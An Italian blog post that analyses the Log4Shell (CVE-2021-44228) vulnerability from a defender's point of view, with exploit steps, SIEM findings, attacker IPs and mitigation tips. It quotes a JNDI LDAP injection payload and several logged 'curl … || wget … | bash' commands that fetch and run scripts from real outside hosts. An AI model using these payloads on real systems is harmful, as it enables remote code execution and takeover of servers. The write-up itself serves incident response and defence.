Log4Shell

Preambolo

In data 10 Dicembre 2021 in Apache Log4j2 è apparsa una vulnerabilità di tipo RCE (Remote Code Execution).
Grazie a questa vulnerabilità classificata come 0-day un utente malintenzionato può inviare una richiesta HTTP, modificando opportunamente lo user-agent (AGGIORNAMENTO del 12-12-2021: o qualsiasi altro verbo HTTP) della stessa, al fine di eseguire codice arbitrario caricato su di un server LDAP sulla macchina remota. Questa vulnerabilità prende il nome di Log4Shell e vi è stata attribuita la CVE 2021-44228.

La vulnerabilità è effettuabile tramite una moltitudine di metodi: in effetti, qualsiasi scenario che consente a una connessione remota di fornire dati arbitrari scritti su file di registro da un’applicazione che utilizza la libreria Log4j2 è suscettibile a questo bug. È molto probabile che questa vulnerabilità venga ampiamente sfruttata e potrebbe avere un impatto su migliaia di organizzazioni.

Apache Log4j2 è ampiamente utilizzato in Apache Struts2, Solr, Druido, etc…

Analisi

Facendo riferimento al tweet di Germán Fernández la richiesta verso la vittima avviene modificando lo user-agent come riportato

${jndi:ldap://12.13.14.15:10553/Basic/Command/Base64/KGN1cmwgLXMgODAuNzEuMTU4LjEyL2xoLnNofHx3Z2V0IC1xxxxxxxxxxxxxxxxxxxxxMTIvbGguc2gpfGJhc2g=

Andando a decodificare la stringa base64 si ottiene il comando che viene eseguito dall’host remoto:

curl -s 12.34.56.78/lh.sh||wget -q -O- 12.34.56.78/lh.sh)|bash

Cioè il tentativo di download del file lh.sh usando o curl o wget e, se andato a buon fine, l’esecuzione dello stesso mediante l’interprete bash.

Exploit steps

1. richiesta al server (via qualsiasi protocollo)
2. il server logga la richiesta la quale contiene il payload ${jndi:ldap://evil.xyz}
3. Il modulo log4j2 fa una richiesta al server evil.xyz il quale è controllato dall’attaccante
4. il server evil.xyz risponde alla vittima con il percorso della classe java da far eseguire al server colpito (es.: http://second-stage.evil.xyz/exploit.class)
5. il server esegue il comando senza richiesta di credenziali

lh.sh

Come d'”obbligo” in questi eventi di 0-day sono andato a fare subito un controllo sul SIEM per verificare se le applicazioni di nostri due fornitori ospitate nel data center aziendale sono fossero state “toccate” da questo evento.

Manco a dirlo, si.

Estratti i dati dal SIEM ho fatto a decodifica massiva degli user-agent

(curl -s 45.155.205.233:5874/1.2.3.4:80||wget -q -O- 45.155.205.233:5874/1.2.3.4:80)|bash

(curl -s 45.155.205.233:5874/1.2.3.4:443||wget -q -O- 45.155.205.233:5874/1.2.3.4:443)|bash

(curl -s 45.155.205.233:5874/1.2.3.4:443||wget -q -O- 45.155.205.233:5874/1.2.3.4:443)|bash

(curl -s 45.155.205.233:5874/1.2.3.4:80||wget -q -O- 45.155.205.233:5874/1.2.3.4:80)|bash

(curl -s 45.155.205.233:5874/1.2.3.4:443||wget -q -O- 45.155.205.233:5874/1.2.3.4:443)|bash

(curl -s 80.71.158.12/lh.sh||wget -q -O- 80.71.158.12/lh.sh)|bash
(curl -s 80.71.158.12/lh.sh||wget -q -O- 80.71.158.12/lh.sh)|bash

Sebbene le prime cinque entry risultino sintatticamente errate, le ultime due sono corrette e riportano lo stesso script che menzionava appunto Fernández.

Al momento della stesura di questo articolo gli host che lanciano l’attacco (o per meglio dire gli host dei quali io ho visibilità dai miei log) sono:

• 62.76.41.46
• 212.193.57.225
• 109.237.96.124
• 45.155.205.233

tutti attivi e localizzati in Russia.

NOTA IMPORTANTE: vi riporto qui un link dove vengono listati tutti gli IP che al momento stanno tentando l'exploit. Da una prima analisi sembrano tutti punti di uscita della rete TOR.

Al gruppo degli LDAP si aggiungono invece:

• 45.155.205.233:12344 (Russia)
• 80.71.158.12:5557 (Ucraina)

anch’essi attivi

Fortunatamente per me, tutte le request ad eccezione di una (che fortunatamente per la seconda volta si trattava di una di quelle sintatticamente non corrette) hanno restituito uno status code 404. Per precauzione, in attesa che il fornitore aggiorni il modulo della sua applicazione, ho creato delle regole sul firewall che bloccano il traffico in ingresso dagli host sopra citati (sebbene mi renda perfettamente conto che la soluzione è un palliativo e non comporti una vera e propria azione di remediation).

Tips

1. Aggiornare la versione di Log4j2 alla versione 2.15.0 (occhio che questa versione richiede Java 8). Consiglio oltremodo una lettura a questo articolo dove vengono spiegate le operazioni da effettuare se impossibilitati nell’aggiornamento
2. Dotarsi di un SIEM per un controllo approfondito del traffico di rete e applicativo
3. Come soluzione palliativa mettere in black list gli IP sopra riportati. Soluzione orrenda in quanto il trend è in crescita e quindi gli host attaccanti aumenteranno ma per un breve periodo è meglio di nulla
4. Se non si ha un SIEM ma si registrano nei log gli user-agent e gli altri verbi HTTP della richiesta è possibile utilizzare le direttive descritte qui per identificare l’exploit
5. Come suggerito nell’articolo sulla postura, il consiglio che mi sento caldamente di suggerire è quello di limitare al massimo la possibilità ai server di accedere ad internet. Sebbene non mitighi tutti li scenari con i quali un attaccante possa sfruttare questa vulnerabilità, l’azione di remediation evita che un il server possa scaricare qualsivoglia payload

Note finali

L’articolo è stato scritto di getto e potrebbe venir integrato nel tempo con nuove informazioni vista la natura recente della segnalazione.

EOF